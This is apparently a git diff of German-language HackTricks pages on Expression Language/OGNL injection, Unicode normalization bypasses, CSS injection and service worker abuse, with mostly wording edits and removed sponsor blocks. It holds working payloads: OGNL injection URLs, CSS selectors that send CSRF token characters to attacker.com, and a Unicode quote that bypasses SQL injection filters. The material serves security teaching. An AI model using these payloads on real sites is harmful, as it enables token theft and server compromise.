EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch `.jsp`- oder `.jsf`-Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Die Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein.
|
||||
EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch `.jsp` oder `.jsf` Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Ihre Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein.
|
||||
|
||||
{% hint style="info" %}
|
||||
Je nach **EL-Version** können einige **Funktionen** **ein** oder **aus** sein und normalerweise können einige **Zeichen** **nicht erlaubt** sein.
|
||||
|
@ -135,7 +121,7 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
|
|||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
* Schlafen Sie 10 Sekunden
|
||||
* Schlaf 10 Sekunden
|
||||
```bash
|
||||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
|
@ -243,18 +229,6 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,20 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Dies ist eine Zusammenfassung von:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Schau dir weitere Details an (Bilder dort entnommen).
|
||||
|
||||
## Verständnis von Unicode und Normalisierung
|
||||
|
@ -48,7 +34,7 @@ Das Verständnis der Unicode-Codierung ist entscheidend, insbesondere im Umgang
|
|||
* **Byte-Darstellung**: Der Codepunkt (oder das Zeichen) wird im Speicher durch ein oder mehrere Bytes dargestellt. Zum Beispiel werden LATIN-1-Zeichen (häufig in englischsprachigen Ländern) mit einem Byte dargestellt. Sprachen mit einem größeren Zeichensatz benötigen jedoch mehr Bytes zur Darstellung.
|
||||
* **Codierung**: Dieser Begriff bezieht sich darauf, wie Zeichen in eine Reihe von Bytes umgewandelt werden. UTF-8 ist ein verbreiteter Codierungsstandard, bei dem ASCII-Zeichen mit einem Byte und bis zu vier Bytes für andere Zeichen dargestellt werden.
|
||||
* **Datenverarbeitung**: Systeme, die Daten verarbeiten, müssen sich der verwendeten Codierung bewusst sein, um den Byte-Stream korrekt in Zeichen umzuwandeln.
|
||||
* **Varianten von UTF**: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit einem Minimum von 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes für alle Zeichen).
|
||||
* **Varianten von UTF**: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit mindestens 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes für alle Zeichen).
|
||||
|
||||
Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der Komplexität von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu handhaben und zu mindern.
|
||||
|
||||
|
@ -66,9 +52,9 @@ Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%
|
|||
|
||||
## **Anfällige Beispiele**
|
||||
|
||||
### **SQL Injection-Filter umgehen**
|
||||
### **SQL Injection Filter umgehen**
|
||||
|
||||
Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage wird die Eingabe des Benutzers mit **Unicode** **normalisiert**.
|
||||
Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage, **normalisiert** sie die Eingabe des Benutzers mit **Unicode**.
|
||||
|
||||
Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQLInjection-Schwachstelle** tritt auf:
|
||||
|
||||
|
@ -116,9 +102,9 @@ Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als:
|
|||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete URL **normalisieren**, aber dann **darauf zugreifen, wie sie ist**.
|
||||
Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte der Regex in einem Open Redirect oder SSRF die gesendete **URL** **normalisieren**, aber dann **so verwenden, wie sie ist**.
|
||||
|
||||
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen überprüfen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -126,18 +112,6 @@ Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermögli
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -6,22 +6,15 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
|
@ -40,9 +33,9 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Jedoch stößt dieser Ansatz auf eine Einschränkung, wenn es um versteckte Eingabeelemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden.
|
||||
Allerdings stößt dieser Ansatz auf eine Einschränkung, wenn es um versteckte Eingabeelemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden.
|
||||
|
||||
#### Umgehung für Versteckte Elemente
|
||||
#### Umgehung für versteckte Elemente
|
||||
|
||||
Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwisterelement mit dem `~` allgemeinen Geschwisterkombinator anvisieren. Die CSS-Regel wird dann auf alle Geschwister angewendet, die dem versteckten Eingabeelement folgen, wodurch das Hintergrundbild geladen wird:
|
||||
```css
|
||||
|
@ -50,7 +43,7 @@ input[name=csrf][value^=csrF] ~ * {
|
|||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen.
|
||||
Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert beschrieben. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen.
|
||||
|
||||
#### Voraussetzungen für CSS-Injection
|
||||
|
||||
|
@ -58,7 +51,7 @@ Damit die CSS-Injection-Technik effektiv ist, müssen bestimmte Bedingungen erf
|
|||
|
||||
1. **Payload-Länge**: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die gestalteten Selektoren unterzubringen.
|
||||
2. **CSS-Neubewertung**: Sie sollten die Fähigkeit haben, die Seite einzurahmen, was notwendig ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen.
|
||||
3. **Externe Ressourcen**: Die Technik geht von der Möglichkeit aus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
|
||||
3. **Externe Ressourcen**: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
|
||||
|
||||
### Blinder Attributselektor
|
||||
|
||||
|
@ -92,15 +85,15 @@ Anstatt die gleiche Seite immer wieder mit Dutzenden von verschiedenen Payloads
|
|||
1. Der Server des Angreifers wird diese Anfrage noch nicht beantworten, da wir einige Zeichen leaken und dann diesen Import mit der Payload beantworten wollen, um die nächsten zu leaken.
|
||||
3. Der zweite und größere Teil der Payload wird ein **Attributselektor-Leakage-Payload** sein.
|
||||
1. Dies wird an den Server des Angreifers das **erste Zeichen des Geheimnisses und das letzte** senden.
|
||||
4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Geheimnisses** erhalten hat, wird er **den in Schritt 2 angeforderten Import beantworten**.
|
||||
1. Die Antwort wird genau die gleiche sein wie die **Schritte 2, 3 und 4**, aber diesmal wird sie versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden.
|
||||
4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Geheimnisses** erhalten hat, wird er **den Import, der in Schritt 2 angefordert wurde, beantworten**.
|
||||
1. Die Antwort wird genau die gleiche sein wie in den **Schritten 2, 3 und 4**, aber diesmal wird sie versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden.
|
||||
|
||||
Der Angreifer wird **diesen Loop fortsetzen, bis es ihm gelingt, das Geheimnis vollständig zu leaken**.
|
||||
|
||||
Sie können den ursprünglichen [**Code von Pepe Vila, um dies auszunutzen, hier finden**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) oder Sie können fast den [**gleichen Code, aber kommentiert, hier finden**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge wie:
|
||||
Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge zu tun wie:
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
@ -157,7 +150,7 @@ font-family: 'poc';
|
|||
```
|
||||
1. **Verwendung von benutzerdefinierten Schriftarten**:
|
||||
- Eine benutzerdefinierte Schriftart wird mit der Regel `@font-face` innerhalb eines `<style>`-Tags im `<head>`-Bereich definiert.
|
||||
- Die Schriftart wird `poc` genannt und von einem externen Endpunkt (`http://attacker.com/?leak`) abgerufen.
|
||||
- Die Schriftart heißt `poc` und wird von einem externen Endpunkt (`http://attacker.com/?leak`) abgerufen.
|
||||
- Die Eigenschaft `unicode-range` ist auf `U+0041` gesetzt, um das spezifische Unicode-Zeichen 'A' anzusprechen.
|
||||
|
||||
2. **Objektelement mit Fallback-Text**:
|
||||
|
@ -166,11 +159,11 @@ font-family: 'poc';
|
|||
- Wenn die Ressource (`favicon.ico`) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des `<object>`-Tags angezeigt.
|
||||
- Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart `poc` gerendert, wenn die externe Ressource nicht geladen werden kann.
|
||||
|
||||
### Stilierung von Scroll-to-Text Fragment
|
||||
### Styling Scroll-to-Text Fragment
|
||||
|
||||
Die **`:target`** Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das durch ein **URL-Fragment** angesprochen wird, wie in der [CSS Selectors Level 4-Spezifikation](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` keine Elemente übereinstimmt, es sei denn, der Text wird ausdrücklich durch das Fragment angesprochen.
|
||||
Die **`:target`** Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das durch einen **URL-Fragment** angesprochen wird, wie in der [CSS Selectors Level 4-Spezifikation](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` keine Elemente übereinstimmt, es sei denn, der Text wird ausdrücklich durch das Fragment angesprochen.
|
||||
|
||||
Ein Sicherheitsproblem entsteht, wenn Angreifer die Funktion **Scroll-to-text**-Fragment ausnutzen, um die Anwesenheit spezifischer Texte auf einer Webseite zu bestätigen, indem sie eine Ressource von ihrem Server durch HTML-Injection laden. Die Methode beinhaltet das Injizieren einer CSS-Regel wie diese:
|
||||
Ein Sicherheitsproblem entsteht, wenn Angreifer die **Scroll-to-text** Fragmentfunktion ausnutzen, die es ihnen ermöglicht, das Vorhandensein bestimmter Texte auf einer Webseite zu bestätigen, indem sie eine Ressource von ihrem Server durch HTML-Injection laden. Die Methode besteht darin, eine CSS-Regel wie diese einzufügen:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -184,7 +177,7 @@ Zur Minderung sollten die folgenden Punkte beachtet werden:
|
|||
|
||||
1. **Eingeschränkte STTF-Übereinstimmung**: Das Scroll-to-text-Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze übereinstimmt, wodurch seine Fähigkeit, beliebige Geheimnisse oder Tokens zu leaken, eingeschränkt wird.
|
||||
2. **Einschränkung auf Top-Level-Browsing-Kontexte**: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, wodurch jeder Versuch der Ausnutzung für den Benutzer auffälliger wird.
|
||||
3. **Notwendigkeit der Benutzeraktivierung**: STTF erfordert eine Benutzeraktivierungs-Geste, um zu funktionieren, was bedeutet, dass Ausnutzungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung verringert das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion durchgeführt werden. Dennoch weist der Autor des Blogbeitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit verbreiteten Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
|
||||
3. **Notwendigkeit der Benutzeraktivierung**: STTF erfordert eine Benutzeraktivierungs-Geste, um zu funktionieren, was bedeutet, dass Ausnutzungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung verringert erheblich das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion durchgeführt werden. Dennoch weist der Autor des Blogbeitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit verbreiteten Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
|
||||
|
||||
Das Bewusstsein für diese Mechanismen und potenziellen Schwachstellen ist entscheidend für die Aufrechterhaltung der Websicherheit und den Schutz vor solchen ausbeuterischen Taktiken.
|
||||
|
||||
|
@ -194,7 +187,7 @@ Sie können einen [**Exploit, der diese Technik für ein CTF verwendet, hier üb
|
|||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Sie können **externe Schriftarten für spezifische Unicode-Werte** angeben, die nur **gesammelt werden, wenn diese Unicode-Werte auf der Seite vorhanden sind**. Zum Beispiel:
|
||||
Sie können **externe Schriftarten für spezifische Unicode-Werte angeben**, die nur **gesammelt werden, wenn diese Unicode-Werte auf der Seite vorhanden sind**. Zum Beispiel:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -234,7 +227,7 @@ Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Knoten, i
|
|||
|
||||
2. **Erkennung von Breitenänderungen**:
|
||||
- CSS wird verwendet, um sicherzustellen, dass der Text nicht umbricht (`white-space: nowrap`) und um den Stil der Bildlaufleiste anzupassen.
|
||||
- Das Erscheinen einer horizontalen Bildlaufleiste, die deutlich gestylt ist, fungiert als Indikator (Orakel), dass eine bestimmte Ligatur und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
|
||||
- Das Erscheinen einer horizontalen Bildlaufleiste, die deutlich gestaltet ist, fungiert als Indikator (Orakel), dass eine bestimmte Ligatur und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
|
||||
- Das verwendete CSS:
|
||||
```css
|
||||
body { white-space: nowrap };
|
||||
|
@ -416,7 +409,7 @@ background: blue var(--leak);
|
|||
|
||||
**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Bericht erwähnt](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Dieser Fall ist sehr ähnlich zu dem vorherigen, jedoch besteht in diesem Fall das Ziel darin, spezifische **Zeichen größer als andere zu machen, um etwas** wie einen Button zu verstecken, der nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein spezifisches Zeichen im Text vorhanden ist.
|
||||
Dieser Fall ist sehr ähnlich zum vorherigen, jedoch besteht in diesem Fall das Ziel darin, spezifische **Zeichen größer als andere zu machen, um etwas** wie einen Button zu verstecken, der nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein spezifisches Zeichen im Text vorhanden ist.
|
||||
|
||||
### Textnode-Exfiltration (III): Leaking des Zeichensatzes durch Cache-Timing (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
@ -430,9 +423,9 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Wenn es eine Übereinstimmung gibt, wird die **Schriftart von `/static/bootstrap.min.css?q=1` geladen**. Obwohl sie nicht erfolgreich geladen wird, sollte der **Browser sie zwischenspeichern**, und selbst wenn es keinen Cache gibt, gibt es einen **304 not modified** Mechanismus, sodass die **Antwort schneller sein sollte** als andere Dinge.
|
||||
Wenn es eine Übereinstimmung gibt, wird die **Schriftart von `/static/bootstrap.min.css?q=1` geladen**. Obwohl sie nicht erfolgreich geladen wird, sollte der **Browser sie cachen**, und selbst wenn es keinen Cache gibt, gibt es einen **304 not modified** Mechanismus, sodass die **Antwort schneller sein sollte** als andere Dinge.
|
||||
|
||||
Wenn der Zeitunterschied der zwischengespeicherten Antwort zur nicht zwischengespeicherten nicht groß genug ist, wird dies jedoch nicht nützlich sein. Zum Beispiel erwähnte der Autor: Nach dem Testen stellte ich fest, dass das erste Problem darin besteht, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem darin besteht, dass der Bot das `disk-cache-size=1` Flag verwendet, was wirklich durchdacht ist.
|
||||
Wenn der Zeitunterschied der zwischengespeicherten Antwort zur nicht zwischengespeicherten nicht groß genug ist, wird dies jedoch nicht nützlich sein. Zum Beispiel erwähnte der Autor: Nach Tests stellte ich fest, dass das erste Problem darin besteht, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem ist, dass der Bot das `disk-cache-size=1` Flag verwendet, was wirklich durchdacht ist.
|
||||
|
||||
### Textknoten-Exfiltration (III): Leaking des Zeichensatzes durch zeitgesteuertes Laden von Hunderten von lokalen "Schriftarten" (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
@ -455,7 +448,7 @@ browser.get(url)
|
|||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
So, wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Besuch des Bots voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, was dazu führt, dass das Netzwerk kontinuierlich aktiv ist. Infolgedessen dauert es länger, die Stoppbedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.
|
||||
So, wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Besuch des Bots voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, was zu kontinuierlicher Aktivität im Netzwerk führt. Infolgedessen dauert es länger, die Stoppbedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -464,12 +457,6 @@ So, wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Besuch d
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Ein **Service Worker** ist ein Skript, das von Ihrem Browser im Hintergrund ausgeführt wird, getrennt von jeder Webseite, und Funktionen ermöglicht, die keine Webseite oder Benutzerinteraktion erfordern, wodurch die **Offline- und Hintergrundverarbeitungs**fähigkeiten verbessert werden. Detaillierte Informationen zu Service Workern finden Sie [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Durch das Ausnutzen von Service Workern innerhalb einer verwundbaren Web-Domain können Angreifer die Kontrolle über die Interaktionen des Opfers mit allen Seiten innerhalb dieser Domain erlangen.
|
||||
|
@ -40,7 +32,7 @@ Vorhandene Service Worker können im Abschnitt **Service Workers** des **Applica
|
|||
Um diese Schwachstelle auszunutzen, müssen Sie Folgendes finden:
|
||||
|
||||
* Eine Möglichkeit, **willkürliche JS**-Dateien auf den Server hochzuladen und ein **XSS, um den Service Worker** der hochgeladenen JS-Datei zu laden
|
||||
* Eine **verwundbare JSONP-Anfrage**, bei der Sie **die Ausgabe (mit willkürlichem JS-Code)** **manipulieren** können und ein **XSS**, um **die JSONP mit einem Payload** zu **laden**, der **einen bösartigen Service Worker** **lädt**.
